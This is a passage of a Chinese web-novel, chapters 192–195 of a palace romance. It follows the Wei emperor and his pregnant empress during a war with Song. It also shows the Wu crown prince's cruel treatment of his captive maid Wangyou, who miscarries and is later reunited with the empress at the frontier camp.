南平可不是会不吃不喝的人,她大方懂事,虽然爱跟殷戈止撒娇,可这**来,压根也没说封明半句不是,全靠殷戈止套话。知道封明心扉未开,这厮便翻着嘴皮子替自己妹妹讨好处了。眼下恐怕就算南平使劲儿说自己不委屈不难过,封明也不会信了。
阴险啊阴险!
“看够了就回去。”殷戈止道:“外头风大。”
风月转身,微微挑眉,伸手就朝他道:“累了,走不动了。”
斜睨着她,殷戈止冷笑:“你以为朕会抱你回去?”
小脸一垮,风月刚要哭委屈呢,身子却是一轻。面无表情的魏孝帝陛下将她抱了个稳当,继续冷笑道:“朕会。”
一个没忍住笑出了声,风月抓着他的衣襟,吧唧一口就亲在他的脸颊上。
后头的灵殊和观止看着,连连摇头,心想这两人可真是越来越没脸没皮了,光天化日诶,四周都是人诶,能不能注意一点仪态了?
“陛下!”干将穿着铠甲从某处冒了出来,皱眉跪地:“今早巡逻,有人在宫门外发现个奄奄一息的姑娘,属下刚刚去看过,是断弦,曾在梦回楼里的那个断弦。”
刚刚还笑着的脸瞬间沉了下去,风月抱着肚子跳下地,皱眉看着他:“什么叫奄奄一息?”
“受了重伤,不过知道是娘娘的旧人,属下在来禀告的时候,已经让医女过去救治了,人在北宣门附近的巡逻岗屋子里。”
“做得好。”夸了他一句,风月拉着殷戈止便往北宣门跑。
“你这样子,还想跑多快?”嫌弃地看一眼她这动作,殷戈止转头吩咐:“将人用架子抬去中宫,那边最近,朕与娘娘稍后就到。”
“是!”干将应声而去。
风月眉头紧皱,等着观止去引龙车,忐忑不安地碎碎念:“我就觉得有哪里不对劲,几个月前金妈妈就跟我说断弦和何愁要来看我,结果过了这么久,一个影子也没瞧见。现在怎么会突然重伤了……”
“你冷静点。”殷戈止抿唇:“何愁在叶太子身边,想走必定会惊动太子,她们可能是出了点意外,耽误了。”
更
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有可能的是,叶御卿压根没想让人过来。断弦拼死跑出来,命就得丢了半条。
风月心跳得厉害,等龙车来了便直奔中宫,干将等人刚好将断弦送过来。许久不见的老朋友,现在脸色苍白,浑身是血地躺在床上,风月瞧着,紧张地坐在旁边等医女的结果。
“腰腹上有伤,幸好不深,没伤着内脏,不过失血过多了,需要养上一阵子。”诊断之后,医女擦着汗道:“请皇上、娘娘回避,奴婢给这位姑娘换药。”
“好。”起身站到外殿去,风月有些走神,盯着地面不知道在想什么。殷戈止表情凝重,眼里的暗光无声流转。
换了药,断弦直接给疼醒了,睁开眼茫然地看了床帐顶好一会儿,然后有气无力地喊了一声:“东家?”
风月立马跑过去,看着她问:“你怎么样?”
“趁着……趁着还有力气说话,我得把事情告诉您……”喘着气,断弦艰难地道:“五个月之前我与何愁就打算出发过来的,可何愁说她走不掉了,让我来告诉您,叶太子对魏国歹心已起,让你们多加小心,莫要笃信盟约。”
神色一紧,风月回头看了殷戈止一眼,后者给了她一个放心的眼神。
就算她们不说,他也不会笃信盟约。盟约是可以撕毁的东西,利益才是大的风向。
心定了定,风月转头继续看着断弦:“那谁把你伤成这样的?”
苦笑一声,断弦道:“何愁来见我……我俩没能藏好行踪,被叶太子发现了,都被关了起来。何愁为了让我走,使了些手段去对付叶御卿,现在也不知道怎么样了。我逃出来的时候被守卫追着刺伤了……幸好有护城军相救,只是养伤耽误了些时候,在路上伤口又裂开了,所以现在才到。”
说完这段话,她两眼翻白,看起来意识在挣扎,然而抵不住失血过多,终究还是昏了过去。
风月听得心惊肉跳,倒吸一口凉气。
何愁没能走掉?她虽然是叶御卿的人,可放走了断弦,又让断弦带消息来魏国给他们,叶御卿要是知道,岂会留她命在?
“陛下!”
“你别紧张。”知道她要说什么,殷戈止道:“魏国与吴国之间有一个多月的车程,你急也来不及的,叶御卿要对何愁动手,你拦不住。”
那就这么坐着吗?风月皱眉,眼珠子直转。
“西北边境的战役已经打响,算算时候,现在吴魏应该已经汇合,各自配合,准备将侵入吴魏边境的宋军打回去了。”殷戈止道:“前线捷报频传,有齐国之粮草,吴国之兵力,魏国之将领战术,抵抗宋国不是难事。现在既然有何愁传来的话,那咱们的确该好生准备之后的事情了。”
国家存亡之际,个人的生死的确是小事。风月垂眸,良久之后轻叹一声。
希望何愁能逢凶化吉吧。
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第192章 孽缘
战火汹涌,吴国皇帝病重,所有担子都落在了叶御卿一个人身上。
叶太子很暴躁,已经连续半个月没能睡好觉了,一向温和如水的眸子变得通红,看着有些恐怖。
盯着刚刚送上来的战报,叶御卿沉声道:“三国已经联合,齐国若是出兵少,那粮草供应便得足。第一营已至齐国边境,征粮多少,就看他们的本事了。”
“臣明白。”孟太尉拱手应下。
一个臣子走了,后头还有无数的臣子涌上来,七嘴八舌地说着各种杂事。叶御卿沉着冷静,一一指示,等终于停歇下来的时候,外头的天已经黑了。
胃疼得难受的时候,他才恍然想起,自己好像一天没有用膳了。
下意识地侧头看看左手边,往常站着个人的位置现在空着,风吹过来,都能听见回响。
微微皱眉,叶御卿嗤笑一声,起身出去吩咐:“准备晚膳。”
“殿下。”外头等着的丁侧妃急忙迎上来,奉上手里的托盘:“妾身一直在等殿下忙完,这儿备着人参鸡汤呢。”
饿的时候,谁想喝汤?他想吃饭,吃些家常的菜色,好下饭的那种,忘忧会做。
“你回去吧。”越过她身边,叶御卿径直往自己的寝宫走:“本宫现在想休息。”
丁侧妃一愣,眼里满是失望。一看他那大步流星的样子,眉头却又皱了起来。
是急着去休息,还是急着去看人?
忘忧被关在太子寝宫已经很久了,从她色诱叶御卿,给他下药偷走钥匙放了断弦开始,她就一直在这里,一步也没踏出去过。
本来觉得,她是一定会死的,毕竟叶御卿最讨厌的就是背叛。可不知道为什么,大概是这个人温柔习惯了,抓到她也没有对她下手,就将她关在这里,每天甚至都会同她一起睡。
“殿下。”听见开门的声音,忘忧立马起身道:“您又忙到了现在?”
应了一声,叶御卿走到桌边点了灯,灯光照得他脸色柔和,可那一双眼里却是深不见底的黑渊:“我累了。”
“那您来躺着,奴婢给您按按。”
身为囚犯,忘忧半点没有囚犯的自觉,只要叶御卿来,她永远都是这副关切的模样。
有时候叶御卿会想,她是不是比自己更会伪装?以至于他半点看不出她的破绽,当真觉得她心里是有自己的。
可是,心里有自己的人,怎么可能会背叛他呢?
无声地冷笑,叶御卿趴在了软榻上。忘忧过去,力道适中地给他按揉着手臂和脊背,一边按一边絮絮叨叨:“您得按时用膳才行,忙起来也得吃点干粮垫肚子,不然身体会垮的。”
听听,这一声声的关心,多情真意切啊!叶御卿摇头,伸手捏住了她的手,侧头看她:“你的心里,到底在想什么?”
问完顿了顿,眼波流转,自己回答:“想重新取得本宫的信任,方便下一回再背叛吗?”
手微微一缩,忘忧抿唇:“奴婢的命是殿下的,不会再背叛殿下。”
“哦?”叶御卿嗤笑:“你没听过一句话,叫‘一次不忠,百次不用’?”
脸色白了白,忘忧垂眸:“奴婢听过,但您不是依旧将奴婢留在身边吗?”
她伺候他已经这么久了,多多少少是有些感情的吧,太子待人温柔,她在他身边尤其能感觉到这种温柔。或许是起风时候的一件衣裳,或许是她伤着的时候他皱起的眉头。殿下心里,应该是把她当亲近之人的,所以出了事,也没有马上杀了她。
“你以为本宫是为什么将你留在身边?”冷笑一声,叶御卿目光温柔地看着她,语气如寒风刮人骨:“不是因为相信你,而是因为你对魏国的皇后那般好,她肯定舍不得你。本宫将你养着,到时候,还能与她换些东西。”
心里猛地一疼,忘忧轻轻吸了口气,眼泪瞬间就冒了上来:“殿下……”
“你曾说,本宫是天底下最温柔的人。”睨着她这表情,叶御卿笑得残忍:“现在还这么觉得吗?”
身子微微有些发抖,忘忧跪了下来,缓了好半天才从那股子疼劲儿里回过神,轻轻喘着气道:“殿下给过奴婢温柔,是奴婢自己没能好好珍惜,怪不得殿下。”
竟然还不怪他?叶御卿挑眉,微微摇头。女人就是傻啊,稍微给点甜头,就这么死心塌地生死不弃的,比狗还好训。
“你能这样想,本宫很高兴。”翻了个身,叶御卿道:“上来侍寝吧。”
抹了把脸,忘忧哽咽着道:“奴婢的身子,最近有些不方便。”
“那本宫留你何用?”嫌弃地看她一眼,叶御卿朝外头喊了一声:“冯闯,把丁侧妃请过来。”
“是。”
脸色雪白,忘忧狼狈地退到角落里跪着,低着头眼泪不停地掉。
叶御卿眼角余光睨着她,心里不觉得痛快,反而更觉得不舒坦,堵得慌,干脆烦躁地起身,一把将她拉起来,推出门去:“把这个人押在院子里,别出现在本宫面前,也别让她跑了!”
“是。”
外头的禁卫听令,当真将她押在地上跪着。
盯着青色方石铺的地面,忘忧有些走神,晃眼间看见丁侧妃的绣鞋在自己面前停了一瞬,又好像听见谁的轻笑声。
这些都无所谓,她不在意的。其实还能活着,就已经要感天谢地了吧。
屋子里靡靡之声顿起,像是故意似的,动静很大。忘忧听着,心如刀绞,却是笑出了声。
她只是个宫女而已,什么名分也没有,随时可能会当成货物拿去与人交换东西,又哪来的资格难过呢?
叶御卿有些烦躁,看着身上咬着嘴唇很是矫情做作的女人,忍不住低喝:“你能不能别端着架子?”
丁侧妃很委屈,她好歹是出身书香门第的,哪里做过这么没羞没臊的事情,会害羞是当然的啊,谁还没个自尊心了?
可是,殿下都这样说了,她也只能一声声地叫唤,脸色绯红。
侧头扫了一眼窗外,叶御卿不耐烦地将身上的人压在了下头。
“啊——”
这销魂蚀骨的声音,听得外头的人骨头都是一酥。忘忧双眼无神,终于是
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闭上眼,什么也不想了。
月亮渐落,太阳初升,叶御卿起床更衣,打开门就见忘忧还被押着跪在地上,脸色惨白。
眉间几不可察地皱了皱,他冷声道:“让你们押着人,你们当真是押着。”
尽职尽责的禁卫拱手道:“殿下的吩咐,卑职们不敢怠慢!”
余光扫了那垂着脑袋的人两眼,叶御卿走过去,问:“还活着么?”
迷迷糊糊地抬头看了他一眼,忘忧勾唇笑了笑,笑得干涸了的眼里又涌出眼泪:“殿下……”
“奴婢……好疼啊……”
心里一凛,叶御卿抿唇:“松开她,扶去里头让她躺着。”
“是。”禁卫应了,将人架起来,走到屋子里头却是愣了愣,看着那满是锦缎的床,再看看手里这脏兮兮的宫女,一时有点犹豫。
“愣着做什么?把人放上去啊!”叶御卿低喝。
吓了一跳,禁卫们连忙将人放上床,躬身就退了出去。
腿已经没了知觉,忘忧闷哼一声,伸手捂着心口,眉头紧皱。
“知道疼了?”站在床边眼含嘲讽地看着她,叶御卿道:“被人背叛的时候,本宫跟你一样疼。”
身子蜷缩起来,忘忧脸色当真是很难看,嘴唇都惨白。
看着看着,叶御卿就觉得不对劲了,立马喊了一声:“请太医过来一趟。”
外头人应声而去,他皱眉,伸手摸了摸忘忧的额头。
没发热,却是一片冰凉,满是虚汗。
病了?叶御卿皱眉,女人就是麻烦,动不动就生病,柔弱得不堪一击……早知道昨天就不赌气直接睡了,应该让人先把她关进侧殿的。
太医来得很快,一把脉却是吓了一跳,有些惊恐地看了他一眼。
“怎么?”叶御卿皱眉:“不妨直言。”
“殿下……此女子怀着身孕,且已经有滑胎征兆。”太医眼神复杂:“要保已经来不及了,殿下还是直接给她服打胎药,让个医女来收拾吧。”
晴天霹雳!
叶御卿不敢置信地看着他:“你说什么?”
“这……这女子要滑胎……”
“她什么时候怀上的?!”瞳孔猛地缩紧,叶御卿心里一抽:“已经保不住了?”
“是。”
倒吸一口凉气,他伸手就将半昏迷的忘忧抓了起来,很不温柔地朝她吼:“你故意的是不是?知道有身孕还出去跪一晚上,就是想滑胎,让本宫愧疚,是不是?!”
被他吼得回了点神,忘忧茫然地道:“奴婢什么时候怀了身子了?分明是这两日要来月信了,肚子有些疼……”
暴喝卡在喉咙里,像一块石头,硬生生被他给咽了下去。叶御卿闭眼,狠狠地将她扔回了床上,转身就往外走。
没什么大不了,一个宫女的孩子,就算生下来也不会得器重,没了就没了吧。
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第193章 夫人孩子为重
四国之战打得如火如荼,春天到的时候,风月看着殷戈止案上送来的战报,终于有些坐不住了:“尹将军受伤了?”
“伤在左手,问题不大。”殷戈止皱眉看着她那硕大的肚子:“你小心些。”
“您不是说,等玉山关拿下来,就启程准备去接他们回来吗?”怀着身孕的人容易焦躁,风月已经焦得要烧起来了:“怎么还不动身?”
殷戈止垂眸,心想你肚子都这么大了,谁敢在这时候动身走啊?
他是一早就该带着人去接应的,不然万一路上耽误,时间就会来不及。可……
“哎呀,都这个时候了,还有什么好想的?”风月推了他一把,跺脚道:“齐国那边都谈妥了,您的计划一向靠谱,可不能被您自己坏了事啊。”
“你就这么不想让我陪着?”斜她一眼,皇帝陛下不太高兴:“旁人都说女人生孩子最想要丈夫在身边,你怎么反而把我往外赶?”
“国家国家,国大于家啊!”风月皱眉:“别以为我吃宫里的饭吃多了,就没有一个将士该有的风骨了!”
皱眉看了她一会儿,殷戈止道:“你半夜会失眠,没我在,谁给你肚子下头垫小枕头?谁给你倒水?”
“有灵殊哇!”
“那你散步的时候走不动了,灵殊抱得动你?”
“有轿辇啊!”
眯了眯眼,皇帝陛下当真是生气了,敢情有他没他都可以啊?
冷哼一声,殷戈止拂袖就踏出了中宫,头一次与风月赌了气。眼下这形势,谁不着急啊?他也着急!可现在不是两难么?她不宽慰他就算了,还一个劲让他走,好像他这么在意她都是一厢情愿自作多情似的。
四周的宫人瞧着,都是一脸震惊。
皇帝和皇后吵架了!皇帝拂袖出了中宫!
这消息很快传遍皇宫,飞到了澧都各处。于是,很多想把女儿送进宫去的大臣们就乐了。虽然他们签了字说是不插手帝王后宫,可帝王要是突然想纳个妃什么的呢?他们也是乐见其成的啊。
于是,百花齐放的御花园里,突然就多了各式各样的姑娘,牵手堵在帝王必经的道路上,挨个儿问安。
“娘娘——”灵殊提着裙子慌忙冲进了中宫,抓着风月就吼:“出大事了啊!”
风月茫然地看着她:“怎么?”
“今日乔大人带了好多姑娘进宫,现在全在御花园里呢,看样子是想让皇上立妃!”气得跺脚,灵殊道:“这个乔大人上次惹恼陛下,还是娘娘您去拦着没让陛下罚他的,现在怎么还恩将仇报啊?”
挑了挑眉,风月道:“乔大人家的女儿已经嫁出去了,孙女才六岁呢,不至于送进宫来。他带头,多半是被人逼的,你不用怪他。”
“可是……”看了看她大大的肚子,灵殊道:“您还怀着身子呢,陛下也是许久没碰别人了,又才与您闹了别扭,这个时候送人来,简直是不要脸!”
掐了掐她气得圆鼓鼓的脸蛋,风月笑道:“咱们陛下本也不是专情的人,憋了他这么久,也够过分的。现在他要是想纳妃……我也不拦着。”
说是这么说,心里还是不舒坦得很的。自从她怀孕封后,殷戈止愣是没有碰过她一下。都说男人在妻子怀孕的时候最易有别的心思,殷戈止能坚持这么多个月,她已经觉得他很了不起了。当真要强求什么,也强求不来。
不强求,真的,就算他哪天真的变心了,打算宠着别人了,她也……
她也会给他下毒,让自己儿子直接继位!
上一瞬还苦情的脸,下一瞬立马变得凶恶,吓得灵殊往旁边小跳了一步:“主……主子?”
“他们在哪儿呢?”站起身子捏了捏拳头,风月皮笑肉不笑地道:“咱们去看看热闹啊!”
背脊发凉,灵殊小心地扶着她:“就在御花园。”
“走!”
带了三个宫女八个太监,皇后娘娘气势汹汹地直奔御花园。可到了地方进去一瞧,嘿,怎么人都跪着呢?
姹紫嫣红的衣裳跪了一地,风月扫了一眼,都是水灵灵的小姑娘,年岁正好,身段也不错。再往前扫扫,面无表情的魏孝帝坐在椅子上,神色很是严肃。
“这是……怎么回事啊?”有点茫然,风月乖乖将袖子放了下来,小心翼翼地跨过这一群姑娘,走到殷戈止身边:“她们犯错了?”
“她们没错。”殷戈止淡淡开口:“错的是送她们进来的人。”
风月眨眼,那人家没错,你让人家一群姑娘都跪着干啥啊?
“朕很痛心。”抬头深深地看她一眼,殷戈止冷着声音道:“皇后,她们不知道朕为何发怒,你可知道?”
啥?风月茫然,很想摇头,但还没摇呢,脑袋就被这人给定住了,然后就见他站起来,感叹地看着她道:“还是你懂朕心。”
风月:“……”不好意思,她真的不是很懂。
“当初登基,众位爱卿与朕有约,说只要朕继位,他们绝不插手后宫。”语气沉痛,殷戈止脸上的表情很是受伤:“可现在,朕信赖的爱卿们,食言了。”
“陛下。”有胆子大的姑娘皱眉开口:“各家小姐今日都是自发入宫,并非家里长辈指使,还望陛下明察。”
“自发入宫?”
“是。”前头那穿着翠绿色裙子的姑娘挺直了背:“臣女等人仰慕陛下天姿圣风,求了家人让臣女等人进来见陛下一面的。不求什么位份,但求能得陛下垂怜!”
说着,一个头就磕了下去。
风月瞧着,觉得这姑娘还挺会说话,等她抬头的时候看看,嘿,长得也不错。这样的人,殷戈止说不定当真会有兴……
最后一个字还没想出来,殷戈止清冷的声音就打断了她的想法:“求朕垂怜?”
带了些嘲讽的四个字砸下去,一众姑娘都低了头,为首的那人更是吓得一哆嗦。
转身走到那姑娘面前,殷戈止半蹲下来,道:“抬头。”
心里一喜,绿衣姑娘觉得自己有希望了,连忙抬头看向他,露出一个甜美的笑容。
“长得太难看了。”眼里半点
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波澜也不起,殷戈止摇头,站起来伸手指着旁边的风月,淡淡地道:“能得朕垂怜的,除非你们姿色在皇后之上,否则别想了。”
这话说得半点情面也不留,听得一众姑娘都是一噎。
风月失笑,突然就想起很久以前的吴国练兵场,当时也有人面无表情地指着她,淡淡地道:“此女相貌平平,下头各位若是在容貌上能胜过她,在下也当收为徒。”
彼时下头站着的不是莺莺燕燕,都是穿着盔甲想拜他为师的吴国姑娘。时光荏苒啊,同样的场景,同样的她和他,殷戈止却已经把当时的利用算计,化成了这般温柔的相护。
命运真是个有趣的东西。
不经意地侧头,就瞧见风月脸上甚为动人的笑意,殷戈止眼眸深深,微微颔首:“还是你这张脸看起来最顺眼。”
说罢,拉过她就往龙涎宫走。
“哎?”回过神,风月挑眉:“那么多人呢,放着不管了?”
“不管了。”殷戈止道:“等会回去发个火,明儿满朝文武都得给朕跪下认错。”
他这种借题发挥小题大做的本事,有精湛的演技做支撑,朝中那群老骨头,哪里是他的对手?
笑着摇头,风月跟着他的步子走,戏谑地问:“不生我的气了?”
“本来还生着。”面无表情地看着前头的路,殷戈止道:“现在不了。”
他生她的气,那是夫妻内部问题,一旦有人想趁虚而入,那他还是心疼自己的皇后的。她还怀着孩子呢,人生在世,最重要的岂不就是夫人孩子?
不气了,该上战场上战场,大不了把观止留下来守着她好了。
想通了的皇帝陛下神色柔和了不少,拎着人回龙涎宫,把了平安脉就给她喂吃的。
“此次朕御驾亲征,是机密。”
晚上的御书房,殷戈止招来了所有的心腹,严肃地吩咐:“消息封锁,一定不能传出去。宫里就当朕是一直在陪皇后,皇后也会配合演戏,帮朕处理一些公务。但她已经经不起劳累了,所以主要的折子,还是交给三公商量处理,明白吗?”
“明白!”众人纷纷应了,魏孝帝便又嘱咐了一些杂事。等众人要退下去的时候,才看着观止道:“朕身边的人,不用武功太高的,多留些在宫里。”
埋着头,观止低低地应了一声。
旌旗烈烈,转眼就是皇帝要出发的时候。名义上是某将军支援边境,但这某将军其实就是魏孝帝,穿着银甲举着偃月长刀,威风凛凛地站在队伍最前头。
不放心地看了一眼皇宫的方向,殷戈止道:“观止,你一定要好生照顾皇后,出了半点差错,朕拿你问罪!”
身子抖了抖,观止咽了口唾沫:“……是。”
想起风月早上给自己更衣的时候脸上那不舍的表情,殷戈止心里有些难受,调转马头,干脆走快些,早些离开澧都。
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第194章 大胆的孕妇
一路行军,殷戈止兵分十六营,马不停蹄,不出半月便赶赴了西北边境。刚过关口呢,就接到了叶御卿的邀请。
“魏国主亲启:舟车劳顿,一路辛苦,御卿携忘忧已在冲南山下来凤客栈里略备薄酒,为国主洗尘。酉时左右,恭候国主大驾。”
忘忧?
目光在这两个字上打了一个圈儿,殷戈止轻笑,心想这叶御卿故意加上这个名字,是想胁迫他去还是怎么的?区区女子,与他又没什么干系,至多能惹风月在意,能当什么筹码?
顺手将这信揉了往火盆里一扔,殷戈止朝外喊了一声:“牛子藏。”
“卑职在。”外头有人闻声进来,大冬天的也满头大汗,颤颤巍巍地看着他。
本来是想让他去回话的,结果一看这模样,殷戈止眯了眯眼:“出事了?”
“没……没出事。”连连摇头,牛子藏咽了口唾沫:“卑职刚刚已经把您……您麾下的人,都清点完了。”
“嗯?”瞧着不太对劲,殷戈止伸手抓了他的衣襟,略微凶狠地盯着他道:“说实话,到底怎么了!”
腿一软,牛子藏“哐当”一声跪了下去,哆嗦着道:“卑职……卑职只是太意外了,关清竟然也回您身边来了。”
关清?有点不解地看着他,殷戈止一时间没反应过来。关清不是关清越么?关清越不就是风月么?风月好好的在澧都养胎呢,什么叫也回他身边来了?
眼珠子僵硬地动了动,殷戈止问:“你看见她了?”
“看……看见了。”牛子藏低头:“就是不知怎么的肚子大着,瞧着好吓人……”
话没落音,面前的帝王“刷”地一下就没了影子。营帐的帘子高高扬起,外头的寒风吹进来,冻得他打了个哆嗦。
不用亲自去找人,殷戈止一出营帐,就看见观止跪在他面前,一看见他就扑过来抱着他的腿,哭得声嘶力竭:“主子!属下是逼不得已啊主子!娘娘以性命相威胁,属下实在是没有办法才敢瞒着主子的啊!主子您听我解释,您先别激动!”
一脚将他踹开,殷戈止眯眼看着面前穿着盔甲站着的人,咬得牙齿咯吱作响:“关!风!月!”
“嘿嘿嘿。”朝他露出一个谄媚的笑,风月抱着肚子看着他,眨眼问:“臣妾穿这一身好看么?最轻最牢实的软甲!”
红色的底衣,衬着白色的盔甲,饶是她大着肚子,都显得英气十足。高高束起的男儿发髻之下是一张脂粉不施的脸,瞧着就让他心里一跳。
这不是风月,是关清越。
定了定神,殷戈止依旧暴怒:“你以为你打扮好看,朕就不会生气了?!”
先别说这里是环境恶劣的边关,光是这半个月的赶路,风餐露宿的,她怎么敢?!
“消气消气,陛下,臣妾没您想的那么柔弱的。”跑过来替他顺着气,风月眨着眼睛道:“出来之前臣妾就问过太医了,太医说这孩子要夏天才出生呢,现在还早。他还说啊,臣妾身子养得好,胎像很稳,就算赶路也不妨事的。再说了,这一路上观止紧盯着臣妾,路经小镇,都找了大夫把脉的,没什么问题,不信您摸摸!”
说着,抓着他的手就往自己肚子上放。
风月是这么想的,她这肚子能防身啊,殷戈止就算气急了要罚她,那也得摸摸肚子再认真想想,对不对?
然而,手一放上来,她还没来得及让他感受一下孩子的动静,就先被他手上的颤抖给吓了一跳。
殷戈止垂眸,眼神深深地看着她的肚子,手抖得厉害。
四周安静了一瞬,风月心里一软,伸手费力地抱住了他,拍着他的背轻声安慰:“没事了没事了啊,我好好的呢,孩子也好好的。”
观止安静地蹲在一边抹汗,心想主子也当真是不容易,活了二十几年,恐怕从来没被吓得这么惨过。
牛子藏掀开帘子出来的时候,就看见关清垫着脚抱着皇帝,高大的帝王轻轻弯着腰,将头埋在她的颈窝里,关清轻轻拍着他,嘴里念念有词:“乖,不怕了啊!”
如凭空一道雷落在他头上似的,牛子藏看傻了眼:“这……陛下?”
回过神,殷戈止嫌弃地拎开风月,冷着表情回头看他:“怎么?”
“……没怎么。”看一眼他这明显很不高兴的表情,牛子藏缩了脖子问:“还有什么事要属下做的么?”
他其实很想问,关清为什么就变成女人了?还怀了身子?为什么这个怀着身子的女人,可以这样抱着皇帝?为什么皇帝刚刚表情还挺柔和,一转脸又这么凶?
然而,这些话在帝王森冷的眼神下统统被咽回了他的肚子里。
“你派人去冲南山回吴国太子的话,就说朕还要继续赶路去前头与尹将军汇合,就不停留了。”沉声吩咐,殷戈止一把将他抓过来,低声补上一句:“让前六营天黑拔营,继续往关外走,剩下的人驻守原地。”
微微一愣,牛子藏问:“您动身么?”
“你替我动身。”伸手将兵符放在他手里,殷戈止道:“立马去办。”
多年的跟随还是培养出了一些默契的,牛子藏没多问,转身就去做。
风月皱眉:“您是秘密出行,叶御卿竟然也知道您来了么?”
伸手将她拉进帷帐,让她在火盆旁边暖着,殷戈止道:“世上无不漏风之墙。”
这么大的动静,他就没想过能瞒住叶御卿,接到他的请帖并不奇怪。不过接下来,才是当真要斗智斗勇的时候了。这胆大包天的关风月在他身边,他心里竟然比之前还要踏实,脑子也灵活了不少,转头就叫了个士兵进来:“去附近城镇上找大夫,抓安胎药,等会拔营的时候药罐子带着一起走。”
“是。”
风月挑眉,微微一想,摇了摇头:“真阴险!”
“对自己的丈夫,不能用贬义词。”眼皮掀了掀,殷戈止淡淡地睨着她:“重新说。”
脸上立马挂了笑意,风月赞叹地道:“陛下真是太睿智了!”
骄傲地颔首,殷戈止很是满意,递了热茶给她,伸手捂了捂她冻红的脸
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冲南山下。
忘忧看着窗外无人的小道,垂了眼眸道:“酉时已过,没有人来。”
悠闲地看着手里的书,叶御卿一边翻页一边道:“你真没什么用。”
说是这么说,他也不觉得殷戈止会傻到在这时候来同他一起用膳。请帖是想吓唬吓唬他的,他努力瞒着的消息,他统统都知道。那么聪明的人,知道自己计划出了纰漏,脸上的表情一定很有趣。
至于为什么加上忘忧的名字,那是他一时兴起,想逗弄她一二。
从滑胎之后,忘忧就没之前那般活泼了,总是沉默,也不知道在想什么。他后来也没少宠幸她,甚至说宽恕她了,不计较她放走断弦的过错,也没能换得她展颜一笑。
叶御卿是有点生气的,他都不计较了,不知道她还在生什么气。所以这回带她出来,他一路上都在吓唬她,说要拿她去同魏国交换东西。
其实,区区宫女,能换个什么呢?
“太子!”探子来回禀了:“魏国那边传话,说魏国国主急着赶路,不赴宴了。另外,军营里似乎发现了魏国皇后的踪迹。”
风月?微微一愣,叶御卿合了书,坐直了身子:“她不是怀了身孕么?怎么可能在军营里?”
“属下不知,但魏军已经派人去附近的小镇上请大夫了。”
眼里总算有了点波澜,忘忧皱眉低语:“这肚子都该大了,怎么会在军营里呆着呢?动了胎气可怎么办……”
“忘忧很担心么?”微微一笑,叶御卿温柔地道:“你若是求本宫,本宫兴许能放你过去见见她。”
身子一僵,忘忧想了想,朝他跪了下去:“求殿下,让奴婢见魏国皇后一面。”
她的孩子没了,看看别人的也好啊。虽然还没生下来,能让她摸摸也好。
斜睨着她,叶御卿掩唇失笑:“这么想去,那就去吧,本宫会让冯闯带着你去。”
“多谢殿下!”感激地看他一眼,忘忧立马跟着旁边的冯闯往外走。
大夫来把过脉,确定当真母子平安之后,风月在殷戈止的软榻上打了个滚儿:“这下您该放心了吧?”
一巴掌将她按在床上,殷戈止道:“老实点,别乱滚。”
朝他抛了个媚眼,风月感叹道:“您当初百般瞧不起臣妾的时候,一定没有想到有今天。”
这话说得殷戈止脸色难看,却又拿她没办法。可不是没想到有今天么?要是想得到,他一定不造孽。
“主子。”观止在外头道:“外头的守卫说,吴军送了个姑娘过来,名忘忧,求见皇后娘娘。”
何愁还活着?眼睛一亮,风月立马坐了起来:“放她进来啊。”
殷戈止“嗯”了一声,观止便躬身去带人。
帘子掀开,殷戈止装作不经意地将旁边的人护在身后,抬眼看向来人。
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第195章 他不是真的对你好
也不知道是经历了些什么,曾经的花魁何愁,如今瞧着却像是老了十岁,抬眼之间满是沧桑,半点不见从前的光彩。
“民女拜见魏国主、娘娘。”
风月皱眉,看着她道:“你起来,让我看看。”
依言起身抬头,忘忧满目感叹地看着她,眼里泫然有泪:“民女姿容未修,娘娘见笑。”
这哪里是姿容未修的缘故,压根就是身子出了问题,所以面黄苍老。
“你过得不好吗?”风月问。
忘忧摇头:“很好,没什么不好的,上次放了断弦走,太子殿下也没责罚,对民女依旧很是温柔。”
只是,那温柔之中总带着点狠劲,像绵里藏了针,让她不再敢轻易依偎。
“他对你温柔?”风月摇头:“叶御卿的性子,对谁都很温柔,女儿家容易犯傻,你可要看清楚。既然来了我这儿,你便可以不回去的。”
不回去?忘忧一愣,下意识地看了外头一眼。
“不用担心。”深深地看着她,风月道:“甭管外头有什么,你想留,便可以留。”
留下来吗?忘忧皱眉,轻轻摇头,小声道:“民女命薄,本就是无根的浮萍,幸得太子垂怜,收在身边。无缘无故的,奴婢也不能就这样离他而去。”
“无缘无故?”风月皱眉:“何愁啊,你知道叶御卿今日为何要你来我这儿么?”
没再喊她“忘忧”,何愁有点怔愣,不解地抬头看着她。
“陛下放了消息出去,军中有叶御卿的探子,一定会告诉他魏国的皇后好像也在军营里。为了确定这一消息,他让你来,因为你与我是旧人。我若当真来了,你便能见到,再回去禀告他。我若是没来,你也能察觉,他便知道了陛下的盘算。”
“你以为,他当真是好心放你来跟我叙旧的吗?”
身子一僵,何愁有点不敢置信地摇头:“不……”
“不什么不啊!”风月咬牙:“你真当叶御卿是个好人?他那人,面儿上温柔体贴,眼角眉梢里时常有阴狠之气,先前也没少算计我们。他是吴国当权的太子,身负他的家国安危,在他眼里,什么东西都比不上吴国的利益和他手里的权力!你先前跟着他只做宫女,我是放心的,他定然能护你周全。可你一旦卷入吴魏两国之间的事情里来,那就危险了!”
“他……”何愁皱眉:“他没当真对我动手。”
“真要等到他动手,那岂不是晚了?”上下扫了她一眼,风月道:“再说了,他要是当真对你很好,你也不可能是这副模样。”
哑然失语,何愁有些忐忑地看着四周。风月起身,一手抱着肚子,一手拉着她往外走。殷戈止一句话没说,只跟在她一步远的身侧。
帘子掀开,便能看见观止和冯闯在不远处站着。风月朝着他们的方向就大喊了一声:“观止,送冯将军走,何愁我留下了!”
冯闯一愣,当即变了脸色走过来:“在下奉吴国太子之命,定然是要把人带回去的。”
“区区宫女而已。”风月微笑:“为了吴魏两国之间的友好,送个宫女给本宫不算什么吧?本宫还怀着身子呢,正好需要人照顾。”
看清了风月的脸,冯闯心里有了数,却还是拱手道:“请娘娘莫要为难,此人是太子的贴身宫女……”
“此人一开始就是皇后的人。”一直沉默的殷戈止开口了,往前走了两步,目光平静地看着冯闯道:“现在算是人归原处,将军要是有为难之处,那也好办,来过两招。要是你能在十招之内伤着朕,人你带走。”
一听这话,冯闯脸都青了,心说这跟直接抢人有什么区别啊?
“朕是为将军考虑。”殷戈止一脸真诚:“要是将军这样不好交差,那带点伤回去,也能少些责罚。”
冯闯:“……”
他该说什么?多谢魏国主体贴?这摆明是要揍他啊!他挨还是不挨?挨了有点傻,不挨回去的确不好交代。
